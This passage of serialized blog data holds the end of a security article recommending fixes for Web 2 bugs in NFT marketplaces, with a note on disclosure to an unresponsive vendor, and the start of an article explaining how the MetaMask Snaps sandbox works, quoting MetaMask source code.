introspection:",{"type":24,"tag":327,"props":42036,"children":42037},{"style":334},[42038],{"type":29,"value":6776},{"type":24,"tag":327,"props":42040,"children":42041},{"style":346},[42042],{"type":29,"value":2231},{"type":24,"tag":327,"props":42044,"children":42045},{"class":329,"line":450},[42046],{"type":24,"tag":327,"props":42047,"children":42048},{"style":346},[42049],{"type":29,"value":42050},"});\n",{"type":24,"tag":25,"props":42052,"children":42053},{},[42054,42056,42063,42065,42072],{"type":29,"value":42055},"Similarly, when ",{"type":24,"tag":57,"props":42057,"children":42060},{"href":42058,"rel":42059},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[61],[42061],{"type":29,"value":42062},"batching",{"type":29,"value":42064}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":24,"tag":57,"props":42066,"children":42069},{"href":42067,"rel":42068},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[61],[42070],{"type":29,"value":42071},"denial-of-service",{"type":29,"value":42073}," (DoS) attacks.",{"type":24,"tag":25,"props":42075,"children":42076},{},[42077],{"type":29,"value":42078},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":24,"tag":25,"props":42080,"children":42081},{},[42082],{"type":29,"value":42083},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":24,"tag":42085,"props":42086,"children":42087},"h1",{"id":10412},[42088],{"type":29,"value":226},{"type":24,"tag":25,"props":42090,"children":42091},{},[42092],{"type":29,"value":42093},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":24,"tag":25,"props":42095,"children":42096},{},[42097],{"type":29,"value":42098},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":24,"tag":228,"props":42100,"children":42102},{"id":42101},"disclaimer",[42103],{"type":29,"value":42104},"Disclaimer",{"type":24,"tag":25,"props":42106,"children":42107},{},[42108],{"type":29,"value":42109},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":24,"tag":10448,"props":42111,"children":42112},{},[42113],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":42115},[42116,42119,42125,42129,42130],{"id":35723,"depth":367,"text":35726,"children":42117},[42118],{"id":10534,"depth":408,"text":10537},{"id":37917,"depth":367,"text":37947,"children":42120},[42121,42122,42123,42124],{"id":37966,"depth":408,"text":37969},{"id":38031,"depth":408,"text":38034},{"id":40863,"depth":408,"text":40866},{"id":41153,"depth":408,"text":41156},{"id":41498,"depth":367,"text":41501,"children":42126},[42127,42128],{"id":41520,"depth":408,"text":41523},{"id":41570,"depth":408,"text":41573},{"id":41654,"depth":367,"text":41660},{"id":42101,"depth":367,"text":42104},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":42135,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":42136,"description":42137,"author":42138,"image":42139,"date":42141,"isFeatured":16,"onBlogPage":16,"body":42142,"_type":10481,"_id":47158,"_source":10483,"_file":47159,"_stem":47160,"_extension":10486},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[37911,37910],{"src":42140,"height":13,"width":14},"/posts/metamask-snaps/header.png","2023-11-01",{"type":21,"children":42143,"toc":47139},[42144,42148,42153,42158,42163,42169,42174,42180,42193,42198,42203,42210,42242,42248,42253,42271,42278,42284,42298,42304,42324,42588,42616,42622,42641,43027,43046,43059,43377,43398,43669,43674,43680,43685,43698,43703,43716,43975,44019,44032,44038,44052,44058,44064,44077,44114,44120,44140,44251,44278,44284,44302,44315,44321,44326,44344,44455,44460,44481,44494,44511,44611,44637,44654,44776,44802,44814,44819,44825,44831,44836,44859,44864,44869,44875,44881,44908,45311,45338,45365,45371,45402,45711,45730,45735,45760,45773,45779,45806,46101,46137,46155,46160,46195,46200,46204,46209,46216,46221,46248,47025,47045,47051,47072,47121,47125,47130,47135],{"type":24,"tag":228,"props":42145,"children":42146},{"id":237},[42147],{"type":29,"value":240},{"type":24,"tag":25,"props":42149,"children":42150},{},[42151],{"type":29,"value":42152},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":24,"tag":25,"props":42154,"children":42155},{},[42156],{"type":29,"value":42157},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":24,"tag":25,"props":42159,"children":42160},{},[42161],{"type":29,"value":42162},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":24,"tag":228,"props":42164,"children":42166},{"id":42165},"sandbox-security",[42167],{"type":29,"value":42168},"Sandbox Security",{"type":24,"tag":25,"props":42170,"children":42171},{},[42172],{"type":29,"value":42173},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":24,"tag":235,"props":42175,"children":42177},{"id":42176},"permission-based-security",[42178],{"type":29,"value":42179},"Permission-based security",{"type":24,"tag":25,"props":42181,"children":42182},{},[42183,42185,42191],{"type":29,"value":42184},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":24,"tag":284,"props":42186,"children":42188},{"className":42187},[],[42189],{"type":29,"value":42190},"snap.manifest.json",{"type":29,"value":42192}," file and can be critical to security.",{"type":24,"tag":25,"props":42194,"children":42195},{},[42196],{"type":29,"value":42197},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":24,"tag":25,"props":42199,"children":42200},{},[42201],{"type":29,"value":42202},"Here are the critical permissions possible to be given to a snap:",{"type":24,"tag":25,"props":42204,"children":42205},{},[42206],{"type":24,"tag":11511,"props":42207,"children":42209},{"alt":7,"src":42208},"/posts/metamask-snaps/permissions.png",[],{"type":24,"tag":1380,"props":42211,"children":42212},{},[42213,42231],{"type":24,"tag":179,"props":42214,"children":42215},{},[42216,42222,42223,42229],{"type":24,"tag":284,"props":42217,"children":42219},{"className":42218},[],[42220],{"type":29,"value":42221},"snap_getBip44Entropy",{"type":29,"value":1323},{"type":24,"tag":284,"props":42224,"children":42226},{"className":42225},[],[42227],{"type":29,"value":42228},"snap_getBip32Entropy",{"type":29,"value":42230}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":24,"tag":179,"props":42232,"children":42233},{},[42234,42240],{"type":24,"tag":284,"props":42235,"children":42237},{"className":42236},[],[42238],{"type":29,"value":42239},"endowment:transaction-insight",{"type":29,"value":42241}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":24,"tag":235,"props":42243,"children":42245},{"id":42244},"snap-execution-environment",[42246],{"type":29,"value":42247},"Snap execution environment",{"type":24,"tag":25,"props":42249,"children":42250},{},[42251],{"type":29,"value":42252},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":24,"tag":175,"props":42254,"children":42255},{},[42256,42261,42266],{"type":24,"tag":179,"props":42257,"children":42258},{},[42259],{"type":29,"value":42260},"An isolated iframe",{"type":24,"tag":179,"props":42262,"children":42263},{},[42264],{"type":29,"value":42265},"LavaMoat",{"type":24,"tag":179,"props":42267,"children":42268},{},[42269],{"type":29,"value":42270},"SES (Secure EcmaScript)",{"type":24,"tag":25,"props":42272,"children":42273},{},[42274],{"type":24,"tag":11511,"props":42275,"children":42277},{"alt":7,"src":42276},"/posts/metamask-snaps/environment.png",[],{"type":24,"tag":235,"props":42279,"children":42281},{"id":42280},"isolated-iframe-layer-1",[42282],{"type":29,"value":42283},"Isolated Iframe - Layer 1",{"type":24,"tag":25,"props":42285,"children":42286},{},[42287,42289,42296],{"type":29,"value":42288},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":24,"tag":57,"props":42290,"children":42293},{"href":42291,"rel":42292},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[61],[42294],{"type":29,"value":42295},"Iframe",{"type":29,"value":42297}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":24,"tag":168,"props":42299,"children":42301},{"id":42300},"the-framework-metamask-extension-repo",[42302],{"type":29,"value":42303},"The Framework: Metamask-Extension Repo",{"type":24,"tag":25,"props":42305,"children":42306},{},[42307,42309,42315,42317,42323],{"type":29,"value":42308},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":24,"tag":284,"props":42310,"children":42312},{"className":42311},[],[42313],{"type":29,"value":42314},"metamask-controller.js",{"type":29,"value":42316}," file. Here's a glimpse of the relevant ",{"type":24,"tag":57,"props":42318,"children":42321},{"href":42319,"rel":42320},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[61],[42322],{"type":29,"value":284},{"type":29,"value":1636},{"type":24,"tag":317,"props":42325,"children":42329},{"className":42326,"code":42327,"language":42328,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[42330],{"type":24,"tag":284,"props":42331,"children":42332},{"__ignoreMap":7},[42333,42341,42349,42369,42417,42452,42469,42477,42519,42526,42533,42541,42569,42581],{"type":24,"tag":327,"props":42334,"children":42335},{"class":329,"line":330},[42336],{"type":24,"tag":327,"props":42337,"children":42338},{"style":551},[42339],{"type":29,"value":42340},"// Import snaps-controllers\n",{"type":24,"tag":327,"props":42342,"children":42343},{"class":329,"line":367},[42344],{"type":24,"tag":327,"props":42345,"children":42346},{"style":551},[42347],{"type":29,"value":42348},"// ...\n",{"type":24,"tag":327,"props":42350,"children":42351},{"class":329,"line":408},[42352,42356,42361,42365],{"type":24,"tag":327,"props":42353,"children":42354},{"style":334},[42355],{"type":29,"value":17202},{"type":24,"tag":327,"props":42357,"children":42358},{"style":356},[42359],{"type":29,"value":42360}," snapExecutionServiceArgs",{"type":24,"tag":327,"props":42362,"children":42363},{"style":381},[42364],{"type":29,"value":4809},{"type":24,"tag":327,"props":42366,"children":42367},{"style":346},[42368],{"type":29,"value":497},{"type":24,"tag":327,"props":42370,"children":42371},{"class":329,"line":421},[42372,42377,42381,42386,42390,42395,42399,42404,42408,42413],{"type":24,"tag":327,"props":42373,"children":42374},{"style":356},[42375],{"type":29,"value":42376},"  iframeUrl:",{"type":24,"tag":327,"props":42378,"children":42379},{"style":334},[42380],{"type":29,"value":38643},{"type":24,"tag":327,"props":42382,"children":42383},{"style":340},[42384],{"type":29,"value":42385}," URL",{"type":24,"tag":327,"props":42387,"children":42388},{"style":346},[42389],{"type":29,"value":349},{"type":24,"tag":327,"props":42391,"children":42392},{"style":356},[42393],{"type":29,"value":42394},"process",{"type":24,"tag":327,"props":42396,"children":42397},{"style":346},[42398],{"type":29,"value":66},{"type":24,"tag":327,"props":42400,"children":42401},{"style":356},[42402],{"type":29,"value":42403},"env",{"type":24,"tag":327,"props":42405,"children":42406},{"style":346},[42407],{"type":29,"value":66},{"type":24,"tag":327,"props":42409,"children":42410},{"style":356},[42411],{"type":29,"value":42412},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":24,"tag":327,"props":42414,"children":42415},{"style":346},[42416],{"type":29,"value":9212},{"type":24,"tag":327,"props":42418,"children":42419},{"class":329,"line":450},[42420,42425,42430,42434,42439,42443,42448],{"type":24,"tag":327,"props":42421,"children":42422},{"style":356},[42423],{"type":29,"value":42424},"  messenger:",{"type":24,"tag":327,"props":42426,"children":42427},{"style":334},[42428],{"type":29,"value":42429}," this",{"type":24,"tag":327,"props":42431,"children":42432},{"style":346},[42433],{"type":29,"value":66},{"type":24,"tag":327,"props":42435,"children":42436},{"style":356},[42437],{"type":29,"value":42438},"controllerMessenger",{"type":24,"tag":327,"props":42440,"children":42441},{"style":346},[42442],{"type":29,"value":66},{"type":24,"tag":327,"props":42444,"children":42445},{"style":340},[42446],{"type":29,"value":42447},"getRestricted",{"type":24,"tag":327,"props":42449,"children":42450},{"style":346},[42451],{"type":29,"value":22664},{"type":24,"tag":327,"props":42453,"children":42454},{"class":329,"line":481},[42455,42460,42465],{"type":24,"tag":327,"props":42456,"children":42457},{"style":356},[42458],{"type":29,"value":42459},"    name:",{"type":24,"tag":327,"props":42461,"children":42462},{"style":844},[42463],{"type":29,"value":42464}," 'ExecutionService'",{"type":24,"tag":327,"props":42466,"children":42467},{"style":346},[42468],{"type":29,"value":2231},{"type":24,"tag":327,"props":42470,"children":42471},{"class":329,"line":500},[42472],{"type":24,"tag":327,"props":42473,"children":42474},{"style":346},[42475],{"type":29,"value":42476},"  }),\n",{"type":24,"tag":327,"props":42478,"children":42479},{"class":329,"line":529},[42480,42485,42489,42493,42498,42502,42507,42511,42515],{"type":24,"tag":327,"props":42481,"children":42482},{"style":356},[42483],{"type":29,"value":42484},"  setupSnapProvider:",{"type":24,"tag":327,"props":42486,"children":42487},{"style":334},[42488],{"type":29,"value":42429},{"type":24,"tag":327,"props":42490,"children":42491},{"style":346},[42492],{"type":29,"value":66},{"type":24,"tag":327,"props":42494,"children":42495},{"style":356},[42496],{"type":29,"value":42497},"setupSnapProvider",{"type":24,"tag":327,"props":42499,"children":42500},{"style":346},[42501],{"type":29,"value":66},{"type":24,"tag":327,"props":42503,"children":42504},{"style":340},[42505],{"type":29,"value":42506},"bind",{"type":24,"tag":327,"props":42508,"children":42509},{"style":346},[42510],{"type":29,"value":349},{"type":24,"tag":327,"props":42512,"children":42513},{"style":334},[42514],{"type":29,"value":25202},{"type":24,"tag":327,"props":42516,"children":42517},{"style":346},[42518],{"type":29,"value":9212},{"type":24,"tag":327,"props":42520,"children":42521},{"class":329,"line":538},[42522],{"type":24,"tag":327,"props":42523,"children":42524},{"style":346},[42525],{"type":29,"value":24092},{"type":24,"tag":327,"props":42527,"children":42528},{"class":329,"line":547},[42529],{"type":24,"tag":327,"props":42530,"children":42531},{"emptyLinePlaceholder":16},[42532],{"type":29,"value":544},{"type":24,"tag":327,"props":42534,"children":42535},{"class":329,"line":557},[42536],{"type":24,"tag":327,"props":42537,"children":42538},{"style":551},[42539],{"type":29,"value":42540},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":24,"tag":327,"props":42542,"children":42543},{"class":329,"line":586},[42544,42548,42552,42556,42560,42564],{"type":24,"tag":327,"props":42545,"children":42546},{"style":356},[42547],{"type":29,"value":42394},{"type":24,"tag":327,"props":42549,"children":42550},{"style":346},[42551],{"type":29,"value":66},{"type":24,"tag":327,"props":42553,"children":42554},{"style":356},[42555],{"type":29,"value":42403},{"type":24,"tag":327,"props":42557,"children":42558},{"style":346},[42559],{"type":29,"value":66},{"type":24,"tag":327,"props":42561,"children":42562},{"style":356},[42563],{"type":29,"value":42412},{"type":24,"tag":327,"props":42565,"children":42566},{"style":381},[42567],{"type":29,"value":42568}," =\n",{"type":24,"tag":327,"props":42570,"children":42571},{"class":329,"line":1017},[42572,42577],{"type":24,"tag":327,"props":42573,"children":42574},{"style":844},[42575],{"type":29,"value":42576},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":24,"tag":327,"props":42578,"children":42579},{"style":346},[42580],{"type":29,"value":405},{"type":24,"tag":327,"props":42582,"children":42583},{"class":329,"line":1026},[42584],{"type":24,"tag":327,"props":42585,"children":42586},{"style":551},[42587],{"type":29,"value":42348},{"type":24,"tag":25,"props":42589,"children":42590},{},[42591,42593,42599,42601,42607,42609,42614],{"type":29,"value":42592},"This code is defining the ",{"type":24,"tag":284,"props":42594,"children":42596},{"className":42595},[],[42597],{"type":29,"value":42598},"snapExecutionServiceArgs",{"type":29,"value":42600}," object, which contains information required for the ",{"type":24,"tag":284,"props":42602,"children":42604},{"className":42603},[],[42605],{"type":29,"value":42606},"IframeExecutionService",{"type":29,"value":42608}," to execute snaps. The ",{"type":24,"tag":284,"props":42610,"children":42612},{"className":42611},[],[42613],{"type":29,"value":42412},{"type":29,"value":42615}," points to the location where the execution environment resides.",{"type":24,"tag":168,"props":42617,"children":42619},{"id":42618},"executing-snaps-iframeexecutionservice-in-action",[42620],{"type":29,"value":42621},"Executing Snaps: IframeExecutionService in Action",{"type":24,"tag":25,"props":42623,"children":42624},{},[42625,42627,42632,42634,42640],{"type":29,"value":42626},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":24,"tag":284,"props":42628,"children":42630},{"className":42629},[],[42631],{"type":29,"value":42606},{"type":29,"value":42633}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":24,"tag":57,"props":42635,"children":42638},{"href":42636,"rel":42637},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[61],[42639],{"type":29,"value":284},{"type":29,"value":1636},{"type":24,"tag":317,"props":42642,"children":42646},{"className":42643,"code":42644,"language":42645,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[42647],{"type":24,"tag":284,"props":42648,"children":42649},{"__ignoreMap":7},[42650,42658,42687,42717,42770,42807,42814,42821,42829,42836,42843,42851,42886,42894,42950,43012,43020],{"type":24,"tag":327,"props":42651,"children":42652},{"class":329,"line":330},[42653],{"type":24,"tag":327,"props":42654,"children":42655},{"style":551},[42656],{"type":29,"value":42657},"// Register message handlers for snap interactions\n",{"type":24,"tag":327,"props":42659,"children":42660},{"class":329,"line":367},[42661,42665,42669,42674,42678,42683],{"type":24,"tag":327,"props":42662,"children":42663},{"style":334},[42664],{"type":29,"value":25202},{"type":24,"tag":327,"props":42666,"children":42667},{"style":346},[42668],{"type":29,"value":66},{"type":24,"tag":327,"props":42670,"children":42671},{"style":356},[42672],{"type":29,"value":42673},"#messenger",{"type":24,"tag":327,"props":42675,"children":42676},{"style":346},[42677],{"type":29,"value":66},{"type":24,"tag":327,"props":42679,"children":42680},{"style":340},[42681],{"type":29,"value":42682},"registerActionHandler",{"type":24,"tag":327,"props":42684,"children":42685},{"style":346},[42686],{"type":29,"value":4663},{"type":24,"tag":327,"props":42688,"children":42689},{"class":329,"line":408},[42690,42695,42699,42704,42708,42713],{"type":24,"tag":327,"props":42691,"children":42692},{"style":844},[42693],{"type":29,"value":42694},"  `",{"type":24,"tag":327,"props":42696,"children":42697},{"style":334},[42698],{"type":29,"value":40820},{"type":24,"tag":327,"props":42700,"children":42701},{"style":356},[42702],{"type":29,"value":42703},"controllerName",{"type":24,"tag":327,"props":42705,"children":42706},{"style":334},[42707],{"type":29,"value":40852},{"type":24,"tag":327,"props":42709,"children":42710},{"style":844},[42711],{"type":29,"value":42712},":handleRpcRequest`",{"type":24,"tag":327,"props":42714,"children":42715},{"style":346},[42716],{"type":29,"value":2231},{"type":24,"tag":327,"props":42718,"children":42719},{"class":329,"line":421},[42720,42725,42729,42734,42738,42743,42747,42752,42756,42761,42765],{"type":24,"tag":327,"props":42721,"children":42722},{"style":334},[42723],{"type":29,"value":42724},"  async",{"type":24,"tag":327,"props":42726,"children":42727},{"style":346},[42728],{"type":29,"value":5894},{"type":24,"tag":327,"props":42730,"children":42731},{"style":356},[42732],{"type":29,"value":42733},"snapId",{"type":24,"tag":327,"props":42735,"children":42736},{"style":381},[42737],{"type":29,"value":1636},{"type":24,"tag":327,"props":42739,"children":42740},{"style":1639},[42741],{"type":29,"value":42742}," string",{"type":24,"tag":327,"props":42744,"children":42745},{"style":346},[42746],{"type":29,"value":2744},{"type":24,"tag":327,"props":42748,"children":42749},{"style":356},[42750],{"type":29,"value":42751},"options",{"type":24,"tag":327,"props":42753,"children":42754},{"style":381},[42755],{"type":29,"value":1636},{"type":24,"tag":327,"props":42757,"children":42758},{"style":1639},[42759],{"type":29,"value":42760}," SnapRpcHookArgs",{"type":24,"tag":327,"props":42762,"children":42763},{"style":346},[42764],{"type":29,"value":1674},{"type":24,"tag":327,"props":42766,"children":42767},{"style":334},[42768],{"type":29,"value":42769},"=>\n",{"type":24,"tag":327,"props":42771,"children":42772},{"class":329,"line":450},[42773,42778,42782,42787,42791,42795,42799,42803],{"type":24,"tag":327,"props":42774,"children":42775},{"style":334},[42776],{"type":29,"value":42777},"    this",{"type":24,"tag":327,"props":42779,"children":42780},{"style":346},[42781],{"type":29,"value":66},{"type":24,"tag":327,"props":42783,"children":42784},{"style":340},[42785],{"type":29,"value":42786},"handleRpcRequest",{"type":24,"tag":327,"props":42788,"children":42789},{"style":346},[42790],{"type":29,"value":349},{"type":24,"tag":327,"props":42792,"children":42793},{"style":356},[42794],{"type":29,"value":42733},{"type":24,"tag":327,"props":42796,"children":42797},{"style":346},[42798],{"type":29,"value":2744},{"type":24,"tag":327,"props":42800,"children":42801},{"style":356},[42802],{"type":29,"value":42751},{"type":24,"tag":327,"props":42804,"children":42805},{"style":346},[42806],{"type":29,"value":9212},{"type":24,"tag":327,"props":42808,"children":42809},{"class":329,"line":481},[42810],{"type":24,"tag":327,"props":42811,"children":42812},{"style":346},[42813],{"type":29,"value":583},{"type":24,"tag":327,"props":42815,"children":42816},{"class":329,"line":500},[42817],{"type":24,"tag":327,"props":42818,"children":42819},{"emptyLinePlaceholder":16},[42820],{"type":29,"value":544},{"type":24,"tag":327,"props":42822,"children":42823},{"class":329,"line":529},[42824],{"type":24,"tag":327,"props":42825,"children":42826},{"style":551},[42827],{"type":29,"value":42828},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":24,"tag":327,"props":42830,"children":42831},{"class":329,"line":538},[42832],{"type":24,"tag":327,"props":42833,"children":42834},{"style":551},[42835],{"type":29,"value":42348},{"type":24,"tag":327,"props":42837,"children":42838},{"class":329,"line":547},[42839],{"type":24,"tag":327,"props":42840,"children":42841},{"emptyLinePlaceholder":16},[42842],{"type":29,"value":544},{"type":24,"tag":327,"props":42844,"children":42845},{"class":329,"line":557},[42846],{"type":24,"tag":327,"props":42847,"children":42848},{"style":551},[42849],{"type":29,"value":42850},"// Execute a snap\n",{"type":24,"tag":327,"props":42852,"children":42853},{"class":329,"line":586},[42854,42859,42864,42868,42873,42877,42882],{"type":24,"tag":327,"props":42855,"children":42856},{"style":356},[42857],{"type":29,"value":42858},"async",{"type":24,"tag":327,"props":42860,"children":42861},{"style":340},[42862],{"type":29,"value":42863}," executeSnap",{"type":24,"tag":327,"props":42865,"children":42866},{"style":346},[42867],{"type":29,"value":349},{"type":24,"tag":327,"props":42869,"children":42870},{"style":356},[42871],{"type":29,"value":42872},"snapData",{"type":24,"tag":327,"props":42874,"children":42875},{"style":346},[42876],{"type":29,"value":3459},{"type":24,"tag":327,"props":42878,"children":42879},{"style":356},[42880],{"type":29,"value":42881},"SnapExecutionData",{"type":24,"tag":327,"props":42883,"children":42884},{"style":346},[42885],{"type":29,"value":364},{"type":24,"tag":327,"props":42887,"children":42888},{"class":329,"line":1017},[42889],{"type":24,"tag":327,"props":42890,"children":42891},{"style":551},[42892],{"type":29,"value":42893},"  // Initialize job, streams, and environment\n",{"type":24,"tag":327,"props":42895,"children":42896},{"class":329,"line":1026},[42897,42902,42906,42911,42916,42920,42925,42929,42933,42938,42942,42946],{"type":24,"tag":327,"props":42898,"children":42899},{"style":334},[42900],{"type":29,"value":42901},"  const",{"type":24,"tag":327,"props":42903,"children":42904},{"style":346},[42905],{"type":29,"value":1940},{"type":24,"tag":327,"props":42907,"children":42908},{"style":356},[42909],{"type":29,"value":42910},"jobId",{"type":24,"tag":327,"props":42912,"children":42913},{"style":346},[42914],{"type":29,"value":42915}," } ",{"type":24,"tag":327,"props":42917,"children":42918},{"style":381},[42919],{"type":29,"value":384},{"type":24,"tag":327,"props":42921,"children":42922},{"style":425},[42923],{"type":29,"value":42924}," await",{"type":24,"tag":327,"props":42926,"children":42927},{"style":334},[42928],{"type":29,"value":42429},{"type":24,"tag":327,"props":42930,"children":42931},{"style":346},[42932],{"type":29,"value":66},{"type":24,"tag":327,"props":42934,"children":42935},{"style":340},[42936],{"type":29,"value":42937},"initJob",{"type":24,"tag":327,"props":42939,"children":42940},{"style":346},[42941],{"type":29,"value":349},{"type":24,"tag":327,"props":42943,"children":42944},{"style":356},[42945],{"type":29,"value":42872},{"type":24,"tag":327,"props":42947,"children":42948},{"style":346},[42949],{"type":29,"value":583},{"type":24,"tag":327,"props":42951,"children":42952},{"class":329,"line":1048},[42953,42957,42961,42966,42970,42975,42979,42983,42987,42991,42995,43000,43004,43008],{"type":24,"tag":327,"props":42954,"children":42955},{"style":334},[42956],{"type":29,"value":42901},{"type":24,"tag":327,"props":42958,"children":42959},{"style":346},[42960],{"type":29,"value":1940},{"type":24,"tag":327,"props":42962,"children":42963},{"style":356},[42964],{"type":29,"value":42965},"worker",{"type":24,"tag":327,"props":42967,"children":42968},{"style":346},[42969],{"type":29,"value":2744},{"type":24,"tag":327,"props":42971,"children":42972},{"style":356},[42973],{"type":29,"value":42974},"stream",{"type":24,"tag":327,"props":42976,"children":42977},{"style":346},[42978],{"type":29,"value":42915},{"type":24,"tag":327,"props":42980,"children":42981},{"style":381},[42982],{"type":29,"value":384},{"type":24,"tag":327,"props":42984,"children":42985},{"style":425},[42986],{"type":29,"value":42924},{"type":24,"tag":327,"props":42988,"children":42989},{"style":334},[42990],{"type":29,"value":42429},{"type":24,"tag":327,"props":42992,"children":42993},{"style":346},[42994],{"type":29,"value":66},{"type":24,"tag":327,"props":42996,"children":42997},{"style":340},[42998],{"type":29,"value":42999},"initEnvStream",{"type":24,"tag":327,"props":43001,"children":43002},{"style":346},[43003],{"type":29,"value":349},{"type":24,"tag":327,"props":43005,"children":43006},{"style":356},[43007],{"type":29,"value":42910},{"type":24,"tag":327,"props":43009,"children":43010},{"style":346},[43011],{"type":29,"value":583},{"type":24,"tag":327,"props":43013,"children":43014},{"class":329,"line":1067},[43015],{"type":24,"tag":327,"props":43016,"children":43017},{"style":551},[43018],{"type":29,"value":43019},"  // ...\n",{"type":24,"tag":327,"props":43021,"children":43022},{"class":329,"line":1075},[43023],{"type":24,"tag":327,"props":43024,"children":43025},{"style":346},[43026],{"type":29,"value":592},{"type":24,"tag":25,"props":43028,"children":43029},{},[43030,43031,43036,43038,43044],{"type":29,"value":1713},{"type":24,"tag":284,"props":43032,"children":43034},{"className":43033},[],[43035],{"type":29,"value":42606},{"type":29,"value":43037}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":24,"tag":284,"props":43039,"children":43041},{"className":43040},[],[43042],{"type":29,"value":43043},"${controllerName}:executeSnap",{"type":29,"value":43045}," handler triggers the snap execution process.",{"type":24,"tag":168,"props":43047,"children":43049},{"id":43048},"step-by-step-execution-from-initialization-to-iframe-creation",[43050,43052],{"type":29,"value":43051},"Step-by-Step Execution: From Initialization to iFrame ",{"type":24,"tag":57,"props":43053,"children":43056},{"href":43054,"rel":43055},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[61],[43057],{"type":29,"value":43058},"creation",{"type":24,"tag":317,"props":43060,"children":43062},{"className":42643,"code":43061,"language":42645,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[43063],{"type":24,"tag":284,"props":43064,"children":43065},{"__ignoreMap":7},[43066,43115,43136,43157,43165,43229,43236,43264,43281,43298,43315,43332,43339,43346,43370],{"type":24,"tag":327,"props":43067,"children":43068},{"class":329,"line":330},[43069,43074,43079,43084,43088,43092,43096,43100,43105,43110],{"type":24,"tag":327,"props":43070,"children":43071},{"style":356},[43072],{"type":29,"value":43073},"protected",{"type":24,"tag":327,"props":43075,"children":43076},{"style":356},[43077],{"type":29,"value":43078}," 